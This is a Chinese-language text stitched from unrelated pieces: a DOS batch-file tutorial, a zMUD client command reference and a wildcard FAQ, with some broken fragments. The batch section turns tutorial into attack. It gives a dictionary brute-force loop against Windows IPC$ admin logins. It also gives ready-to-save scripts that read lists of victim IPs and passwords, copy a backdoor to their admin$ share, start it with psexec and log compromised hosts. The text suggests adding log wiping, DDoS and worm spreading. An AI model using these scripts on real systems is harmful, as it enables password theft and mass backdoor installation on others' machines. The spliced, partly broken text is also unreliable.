2)、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用
当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读
取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字
符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白
行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同
解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一
个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起
文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for
程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用
%j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用
双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=
一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字
母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。
这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符
串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此
,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变
量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似
%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use file://ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下
密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给
find命令--
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator"│find ":命令成功完
成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会
变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵
,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数
%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码
(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容
是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
------------------- cut here then save as a batchfile(I call it door.bat) ------------------
-----------
@net use file://%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec file://%1/ c:\winnt\system32\windrv32.exe
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一
目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功
能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见
,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添
足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令
写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令
了。
@echo off
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb
E:\backup
如果远程服务器上存在backup.mdb文件,就执行命令,若不存在该文件则不执行命令。这种用法
可以替换IF exist了.
3.││
Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的
命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@ trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
Ⅶ 通配符的使用方法.
通配符的使用
在使用文件时,主文件名和扩展名中还可以使用通配符“*”“?”。其中“*”代表从它所在位置直到“.”(主文件名中为到“.”前,扩展名为“.”后)的所有字符;“?”代表它所在位置的任意字符。
实例:
A.?? 表示文件主名为A,扩展名不超过两个字符的文件
???.com 表示文件名不超过三个字符,扩展名为COM的文件
*.* 表示所有文件
ABC.* 表示文件名为ABC,具有任意扩展名的文件
*.EXE 表示以EXE为扩展名的所有文件
A*.* 表示以字符A开头的所有文件 例如: ABC.txt ABD.com等
A??.* 表示文件主名以A开头且不超过三个字符,具有任意扩展名
的文件
tabs)
%x
匹配任何数量的非空格
[range]
匹配任何数量的在[range]中列出的字符
^
强制从一行的开始进行匹配
$
强制匹配到一行的结束
(pattern)
保存匹配的式样到参数%1~%9
~
包括其中的字符不会被解释为特殊字符
{val1|val2|val3|...}
匹配其中列出的任何特殊的串
{^string}
不匹配其中包括的串
使用[range]时,你可以在其中列出需要的字符例如 [abc] 或使用范围 [a-c] 。
为了匹配特殊字符本身,可以使用~将特殊字符括住,例如:~[test~] 将匹配字符串
[test] 而不是作为 [range] 来匹配。
只使用$可以匹配一个空行。
别名中使用参数的例子
我们在解谜过程中向npc提出的问题通常是以:
ask npc about here
ask npc about rumors
ask npc about name
这样三个命令开始的,把他们定义成别名可以节省一些时间,像这样:
#al askn {ask %1 about here;ask %1 about here;ask %1 about name}
可如果npc的名字有两个单词,或一堆同名的npc中你要问其中第二个,就需要把别名
中的参数改为%-1,此时执行askn bing 2或askn tian bing就不会出错了。
为了更好的理解参数的作用,试试执行下面的命令:
#al tt test1 %1 test2 %2 test3 %-1 test4 %-2
看看执行{tt a1 a2 a3 a4 a5}的结果,一切都清楚了吧?
表达式
当执行运算时,如果所有参数均为数字,则执行数学运算,否则执行字符串操作。以
下是一些常用的表达式(v1和v2代表变量或另外的表达式):
v1+v2
如果v1或v2不是数字,则执行字符串相加
v1-v2
从v1中减去v2
v1*v2
相乘
v1/v2
v1除v2,结果不含小数
v1\v2
取模
v1&v2
逻辑运算and
v1 and v2
同上
v1 | v2
逻辑运算or
v1 or v2
同上
v1 xor v2
逻辑运算xor
v1 = v2
如果v1等于v2返回真
v1 > v2
如果v1大于v2返回真
v1 < v2
如果v1小于v2返回真
v1 >= v2
如果v1大于等于v2返回真
v1 <= v2
如果v1小于等于v2返回真
v1 <> v2
如果v1不等于v2返回真
v1 != v2
同上
v1 =~ v2
如果表达式v1中的pattern包含v2,返回真
v1 ~= v2
同上
-v1
返回v1的负值
!v1
逻辑运算非
命令:
number]
Syntax:牋?#number command
这个命令向MUD重复发送number次命令,number必须是一个常数,如果要使用变量,请
使用loop命令。当前已经重复的计数保存在系统变量%repeatnum中。
实例:
#4 fight bing %i
命令将被解释成{fight bing 1;fight bing 2;...;fight bing 4}发往MUD10
abort
Syntax:牋?#AB
停止分析处理当前的命令行中#ab以后的部分
实例:
get all corpse;#ABORT;split
在这个例子中,split将被忽略
action
Syntax:牋?#AC pattern command [classname]
Related:牋?#TRIGGER #T+ #T- #IGNORE
这是zMUD中最有用的特性之一。当从MUD中收到一条匹配的文本时,预先定义的命令将
被执行。这条命令的第一个参数是被匹配的文本,如果文本中包含空格,你需要将它
用括号{}括起来。pattern中能够包含特殊的pattern matching symbols 和通配符。
第二个参数是将要被执行的命令,超过一个单词的命令也需要使用括号{}。第三个参
数用于给不同的触发动作命名分类,便于管理。高级的触发设置必须使用参数
(Preferences)对话框,在对话框中,你可以决定触发的动作是紧跟在匹配的文本之
后还是在新的一行中执行。
一个简单的例子:
#AC {你买下一件藤甲} {wear jia}
这样,无论何时只要你买了藤甲,立刻可以自动穿上。
自动登录的例子:
#AC {^您的英文名字:} {river}
#AC {^请输入相应密码:} {12345}
然后在参数对话框中关闭 Trigger on Newline 设置并且打开 Trigger on Prompt 这
样名字和密码将紧接着提示行输入而不会等待换行。注意,字符 ^ 将强制从一行的头
部开始匹配。
触发中的参数
#AC {^You get (%d) coins} {chat I get %1coin } rich
当你看到一行“You get [number] coins”时,其中的数值将被存放在变量%1中,其
后执行的命令可以使用这个数值。在这个例子中用到了类(class)名rich,这样你就
能够使用t+和t-命令来打开或关闭这个触发。
add
Syntax:牋?#AD variable amount
这个例子允许你做一个简单的算术计算。amount可以是数值或变量。如果要做减法,
可以使用负值。复杂一些的算术计算,请使用 #math 命令。
实例:
#AD moves 1
给变量@moves加一
#ACTION {You get (%d) coins} {#AD gold %1}
当捡到钱时,把捡钱的数量加到 @gold 变量中
alarm
Syntax:牋?#ALA timepattern command
Related:牋?#TRIGGER
建立一个基于时间的触发,而不是根据从MUD中获得的信息触发。timepattern可以是
特定的时间或包括通配符。如果在minus前加上(-),则表示连线时间而不是实际时
间。
timepattern 的格式表示成 hours:minutes:seconds ,其中的小时和分钟是可选项,
如果不指明,则假定小时和分钟被通配符*取代。通配符*可以代替任何数值,而*10可
以匹配10、20、30等等。你也可以指定几个数值用(|)来分隔。Finally, you can
put parenthesis around the wildcards to save the values matched to the
%1..%9 parameters。(这句话我不懂,谁来帮我?)
实例:
#ALARM -30:00 {save}
这里的 hour 没有指定,所以默认为*。 因此,这个例子将在连线后每隔30分钟执行
save 命令。
#ALARM 3:00:00 {gossip Why arent you sleeping?}
命令将在凌晨3点触发。
#ALARM -59:(55|56|57|58|59) {#SHOW 60-%1}
这个命令在你连线时每个小时的最后5秒在屏幕上显示 5 4 3 2 1。
alias
Syntax:牋?#AL [aliasname] [string]
Related:牋?#VARIABLE
保存一个或一组命令到一个较短的别名中。当执行别名时,命令中的变量能够被扩
展。如果需要延迟变量扩展,可以使用两个变量标志(%%)。
如果不带参数执行命令alias,所有的别名将被列出在输出窗口。如果在命令alias中
指定别名,被指定的别名将被显示。
别名能够用<tab>键扩展。在命令行中键入一个别名并按下<tab>键,命令行中的别名
将被替换成别名中包含的命令。
如果在定义别名时使用参数(%1,%2,...),在命令行中紧随别名的文本将取代这些
参数。特殊的参数%-1到%-99表示-n之后的所有文本。(使用参数的例子)
实例
#AL fs {fill waterskin}
当执行fs时,fill waterskin将被送往MUD。
#AL fs {fill @container}
在别名中使用变量,变量可以在购买容器时用触发赋值。
#AL make {#ALIAS %1 {cast %1 %%1]
在这个例子中,执行make heal将发出#ALIAS heal {cast heal %1}命令,这样就建立
了一个新的别名heal。
all
Syntax:牋?#ALL command
发送一个命令到所有角色的窗口
实例:
#ALL quit
发送 quit 命令到所有激活的角色窗口。
backup
Syntax:牋?#BA
Related:牋?#PATH #RETRACE
从当前正在记录的路径中删除最后一步
实例:
如果当前路径是 .nsew 那麽执行 #BA 将使其成为 .nse 。如果当前路径是 .n4s 则
执行 #BA 后将成为 .n3s 。?
beep
Syntax:牋?#BEEP [value]
Related:牋?#PLAY
在pc机喇叭中发声,value 对应相应的 windows 事件。
实例:
#BEEP 16
播放windows 事件 16 的声音。
#BEEP;#WAIT 500;#BEEP
beep两次,中间间隔0.5秒。
button
Syntax:牋?#BU number
触发一个自定义按钮,编号(从1至16)决定触发的按钮。number 可以是一个变量。
实例:
#BU 1
触发第一个按钮,效果相当于在屏幕上按下这个按钮
c+
Syntax:牋?#C+ [name]
Related:牋?#C-
开始获取文本到窗口name中,如果省略name,文本将送入command editor,(如果
editor中的capturing设置可用)。如果在preferences对话框中选中Capture
Commands设置,键入的命令也将被送往这个窗口。
例子:
#c+ temp
开始拷贝所有从MUD中获得的文本到名为temp的窗口中
c-
Syntax:牋?#C-
Related:牋?#C+
停止获取文本到另一个窗口
capture
Syntax:牋?#CAP [number] [name]
Related:牋?Editor window
获取最后number行送到另一个窗口。如果省略number,则只获取最后一行。如果
number是-1,所有的行将被拷贝。如果name省略,发送的目标将是command editor
window。
例子
#tr {咖啡告诉你:救命!} {#cap tell}
将tell的内容存入名为tell的窗口,避免忽略。
case
Syntax:牋?#CA index command1 [commandn]
允许从命令列表中选择一个命令执行。index参数决定执行哪一个命令。如果index大
于列表中的命令数,将从第一个开始重新选择。例如,列表中有4个命令,而index=
6,则第二个命令将被执行。你也可以用变量%random随机的选择需执行的命令。
实例:
#CASE 2 {first command} {second command} {third command}
执行第二个命令
#CASE @joincmd {join} {rescue}
如果变量@join是奇数,执行join,偶数执行rescue。
#CASE %random {Hello} {Hi there} {Hiya} {Hi}
随机选择问候语。
character
Syntax:牋?#CH
Related:牋?#HOST #PW
从Charater atabase中返回当前角色的名字
colse
Syntax:牋?#CL filenum
Related:牋?#FILE
根据给定的文件号关闭文件,文件必须是已经用#file命令打开的。
实例:
#CLOSE 1
关闭一号文件
clr
清除屏幕。如果要清空scrollback buffer并收回内存,请使用菜单命令Empty。
color
Syntax:牋?#CO attribute [pattern]
Related:牋?#HIGHLIGHT
如果省略pattern参数,这个命令将改变最后一行的颜色。颜色属性见下表。如果包括
pattern参数,将建立一个颜色触发,引起触发的条件除了字符对应外还需要有相同的
颜色。
Color values:
black牋?
0
blue牋
1
green
2
cyan
3
red
4
magenta
5
brown
6
gray
7
tellow
14
white
15
bold
128
要显示亮色,在基本值上加8,作为背景颜色,需要用基本值乘16。例如:使用红色背
景的值是4*16或64。在前景上使用粗体字,需要再加128。这样,在蓝色背景上的粗体
白字的值是:128+1*16+15=159。
实例:
#CO red
将最后一行的颜色变成红色
#CO bold,red
将最后一行变成红色粗体
connect
Syntax:牋?#CON
Related:牋?#DISCONNECT
断开并重新连接到当前的MUD,与菜单命令File/Reconnect 相同
cr
Syntax:牋?#CR
送一个空行到MUD
cw
Syntax:牋?#CW color
Related:牋?#COLOR
在一次成功的触发之后,改变引起触发的内容的颜色
实例:
#TRIGGER {告诉你} {#CW red}
当有人tell 你时,显示较为醒目的颜色
dde
Syntax:牋?#DDE server topic macro
这个命令允许你通过动态数据交换使用外部程序。zMUD也有一些内建的函数用于DDE:
%dde(server,topic,item)
%ddepoke(server,topic,item,value)
%ddemacro(server,topic,macro)
如果你使用%ddeopen(server,topic)函数打开DDE连接,在其他函数中不再需要指明
server和topic,这个函数是全局性的,对于zMUD的任何窗口均有效。结束DDE连接
时,使用%ddeclose()函数。
zMUD也拥有自己的DDE服务,server名是zmud,topic也是zmud,item为data。
实例:
#DDE NETSCAPE WWW_OpenURL {<a target="_blank" href="http://www.zg169.net/~czmud/index.html}">http://www.zg169.net/~czmud/index.html}</a>
使用netscape打开zMUD从入门到精通主页,因为~zMUD的特殊字符,所以需要再加一个
~写成~。
#DDE ZMUD ZMUD {chat* bye;quit}
使用DDE向MUD发出命令
%dde(Excel,TEST.XLS,R1C1)
使用excel装入test.xls并返回单元R1C1的值。
%ddepoke(Excel,TEST.XLS,R1C1,@tank)
向test.xls的R1C1单元写入变量@tank的值
谁能用DDE写一个自动对诗的机器人?
default
Syntax:牋?#DE [special-char-string]
Related:牋?#NODEF
保存你当前使用的特殊字符并恢复系统默认的特殊字符,在使用现成的命令脚本时,
这个命令可以保证脚本中的标准特殊字符被正确识别。使用#NODEF命令将恢复你自定
义的特殊字符。
zMUD中使用的特殊字符有
1
Command Char
#
将紧随的字串解释为命令
2
Separator Char
;
分隔多个命令
3
Variable Char
@
用于扩展变量的值
4
History Char
!
调用命令缓冲区中的命令
5
Parameter Char
%
指出系统变量和函数
6
Movement Char
.
调用路径变量或函数
7
Focus Char
:
向指定窗口发命令
8
Quote Char
~
紧随其后的特殊字符当作普通字符
理
9
Must be a space at the end
*?
*fool
实例:
#DEF
保存你当前使用的特殊字符并恢复系统默认的特殊字符
#DEF {xx$xxxxx }
保存你当前使用的特殊字符并回复默认的特殊字符,然后将@改为$。
disconnect
Syntax:牋?#DI
Related:牋?#CONNECT
断开当前的连接
实例:
#TRIGGER {你已陷入半昏迷状态} {#DI}
断线就不会被杀死吗?我没试过,hehe。
ECHO
Syntax:牋?#EC string
Related:牋?#SAY
在当前窗口中显示字串,类似与say命令。除了用于离线测试trigger似乎没有别的用
处。
实例:
ERASE
Syntax:牋?#ERA filenum
Related:牋?#FILE
从硬盘中删除用#file打开的文件
实例:
#FILE 1 old.log
#ERA 1
删除old.log文件,需要先用#file命令打开。
EXEC
Syntax:牋?#EXEC command
执行一个命令,命令中可以包括变量
实例:
#TRIGGER {^咖啡告诉你(*)} {#EXEC %1}
执行咖啡的指令。(我可没那麽傻)
FILE
Syntax:牋?#FI number name
Related:牋?#READ #WRITE
打开文件准备读写。zMUD可以打开10个文件,文件号1~5打开文本文件,能够按顺序
读或追加,文件号6~10打开记录文件用于随机读写。如果nuber已经用于打开的文
件,则前一个文件将被关闭。打开的文件只能位于zmud.exe所在的目录且不能是
EXE,HLP和MUD文件。
实例:
#FILE 1 test.txt
打开text.txt作为文件1。
FIND
Syntax:牋?#FIN
找出在当前地图上的定位,通过look命令用当前房间的描述比较地图数据定位匹配的
房间,与automapper的菜单命令find作用相同。
FORALL
Syntax:#FO list command
逐条列出字串行表内容并执行命令。列表使用|分隔,逐个赋值给变量%i,并执行命
令。
实例:
list=sys|ups|yahoo
#froall @list {kill %i}
我一定是疯了。
FREEZE
Syntax:牋?#FR [value]
切分屏幕查看以前的显示,value=0表示恢复屏幕。这条命令相当于Ctrl-z或单击右边
的滚动条。(所以没什么用)
GAG
Syntax:牋?#GA [pattern]
Related:牋?#UNGAG
如果pattern省略,命令将从屏幕上删除最后一行。如果包括pattern,将删除所有匹
配行,相当于#ACTION pattern '#GAG'。
实例:
#ga 咖啡
这叫眼不见为净。
HELP
Syntax:牋?#HE [command]
不带参数相当与从菜单中选择help,否则显示指定命令的参数。
H+
Syntax:牋?#H+
Related:牋?#H-
从命令缓冲区中取得下一条命令,只在使用过#h-命令后有效,相当于向下的箭头键。
H-
Syntax:牋?#H-
Related:牋?#H+
从命令缓冲区中取得上一条命令,相当于向上的箭头键。
HISTORY
Syntax:牋?#HIS
显示命令缓冲区中的命令,每条显示的命令都带有行号,可以用!加行号来执行某条命
令。!!执行最新的命令。!+字母将执行最近一个以!后字母开头的命令。命令缓冲区
的大小默认为20,可由参数对话框改变。
你也可以用左键单击命令输入行左边的三角以弹出交互命令缓冲区对话框来选择命
令,单击将命令送至命令输入行以供编辑,双击将命令直接送往MUD。
<tab>键可以配合命令缓冲区的使用,如果你用!加数字或字母,再按下<tab>键,命令
将拷入命令输入行以供编辑。
实例:
#HI
显示最后20条命令
!!
执行最后一条命令
!3
执行命令缓冲区中的最后一条命令
!k
执行最后一条以k开头的命令
!k<TAB>
将最后一条以k开头的命令拷入命令输入行以供编辑
HIGHLIGHT
Syntax:牋?#HI [pattern]
Related:牋?#COLOR
如果省略pattern,最后一行文本将以高亮显示,如果包括pattern,匹配的文本将以
高亮显示。相当于命令#ACTION pattern '#HIGHLIGHT'。
HOST
Syntax:牋?#HO
Related:牋?#CHAR #PW
返回当前连接的主机名
IF
Syntax:牋?#IF expression true-command [false-command]
执行条件分支,如果表达式为真,执行true-command,否则执行falise-command(可
选)。表达式中可以包含变量和运算子。
实例:
#if (@qn>30) {learn_skills}
在战斗中如果潜能达到了30,执行别名learn_skills返回师父处学习。
#if (@hp>10) {exercise @hp} {exert recover}
如果气大于10就修炼内功,否则补气。
#IF (@line =~ "You receive (%d) coins") {split %1}
如果变量@line与pattern "You receive (%d) coins"匹配,执行{split %1},判断匹
配需要使用“=~”。
IGNORE
Syntax:牋?#IG
Related:牋?#T+ #T-
打开或关闭所有触发,第一次执行#ig 关闭所有触发,第二次执行恢复正常。
INPUT
Syntax:牋?#IN string
将文本放入命令输入行,替换当前内容
实例:
#in get @item
扩展变量item后将命令置入命令输入行
KEY
Syntax:牋?#KE key command
定义按键执行的命令,key值需注明按键的全名,例如:F1,CTRL-A 或 ALT-F2
实例:
#key F1 eat baozi
定义F1键执行eat baozi 命令
<ALT-D>={drink jiudai}
定义 ALT-D 键执行 drink jiudai 命令
KILLALL
Syntax:牋?#KILLALL
删除所有的别名、宏、触发、<tab>缩写
LMAP
Syntax:牋?#LM path command
Related:牋?#LOOP
穿越指定的路径并在每个房间执行指定的命令,变量%i将记录房间数
实例:
#LMAP 3sn {#SHOW %roomname(%i)}
从当前的地图定位向南走三步,向北走一步,并显示每个房间的名称
LOAD
Syntax:牋?#LOA filename
Related:牋?#SAVE
装入指定的设置文件,filename中可以使用变量。注意:装入新的设置文件时,原来
的设置文件中的改变不会被保存
实例:
#load dc
装入设置文件dc.mud。(.mud是默认的扩展名)
<F1>={#load combat};<F2>={#load cocial}
为战争与和平定制的设置文件分别用F1和F2载入
LOOK
Syntax:牋?#LOOK
执行MUD的look命令并重新写入地图的房间数据
LOOP
Syntax:牋?#LOO range command
重复执行由range指定数量的命令,range包括最小值和最大值,中间用逗号分隔,如
果range中只有一个数字,默认的最小值是1,循环的次数记录在变量%i中,可在命令
中调用。
实例:
#LOO 3 north
向MUD中送入north命令3次
#LOO 3,4 {get all from corpse %i}
取出第三和第四具尸体中的所有东西
#LOO @num {eat baozi}
吃包子@num口
LOG
Syntax:牋?#LO [filename]
开始在给定的文件中记录从MUD中获得的文本,如果文件不存在,则建立文件并开始记
录,如果文件已存在,则打开存在的文件并追加记录。省略参数用于开关记录
实例:
#LO test.txt
开始将MUD的所有输出记入test.txt
#LO
开关记录,如果正在记录,该命令将停止记录,否则开始记录
MAP
Syntax:牋?#MAP direction
Related:牋?#PATH
在当前路径上增加一个方向
#MAP north
如果当前路径是.s,则更新为.sn,同时向北移动一步
MATH
Syntax:牋?#MAT variable expression
Related:牋?#ADD
将表达式的结果赋值给变量。表达式中可以包括数字、逻辑运算和字符串函数,表达
式中包含的变量将被扩展。
实例:
#MATH test (1+3)*4
将计算结果16赋值给变量test
#MATH test2 @test-4
如果@test的值是16,则变量test2将被赋值12
#ALIAS add {#MATH value %1+%2}
add 3 4
执行后变量value的值为7
MARK
Syntax:牋?#MA
Related:牋?#PATH
开始记录新的路径,正在记录的路径将被废弃
MEDIA
Syntax:牋?#ME function
Related:牋?#PLAY
向当前的多媒体设备发送命令,通常在#play之后使用,function中可以使用变量,可
用的function依设备不同而不同值,一般有:
back
返回一步
close
关闭当前文件
eject
放弃当前设备
next
播放下一曲目
pause
暂停
paly
Ⅷ 有谁可以给我解释一下"通配符"的知识
通配符
1、基本的通配符有哪些?
·“?”可替代单个字符。
·“*”可替代任意字符。
·方括号“[charset]”可替代charset集中的任何单个字符。
对最后一条做些解释。[cChH]通配符便可替代c或h字符的大小写形式。
通配符集还能描述介于字符对之间的所有字符。如“[a-z]”就可以代
替任意小写字母,而[a-zA-Z]则可替代任意字母。注意可替代的字符
包括字符包括字符对之间的所有字符。
与DOS相比,UNIX的通配符机制要比DOS好得多。在DOS中,任何在“*”
之后,在“.”之彰的字符均被忽略,所以下面的指令将不能得到你想
象的结果。
del *bak.*
在DOS中,用户只能用此命令删除当前目前下的所有文件,除非系统要
求你不这样做。而在UNIX系统中,“*”可替代包括0在内的任意数字的
字符,但一行中的其余特征也仍需匹配,因此“bak.*”可匹配
newbak.save、oldbak.new甚至bak.temp,但不能和newbak匹配,因为后
者不含“.”。这非常巧妙,可大大方便用户,而“*bak”则可匹配以上
所有的词条,包括newbak。
2、能在一条指令中用多个通配符吗?
可以,如
rm a*out*tmp?
该命令可以删除一系列临时性的输出文件,如ab.out.temp1、ab.out.temp1
等。
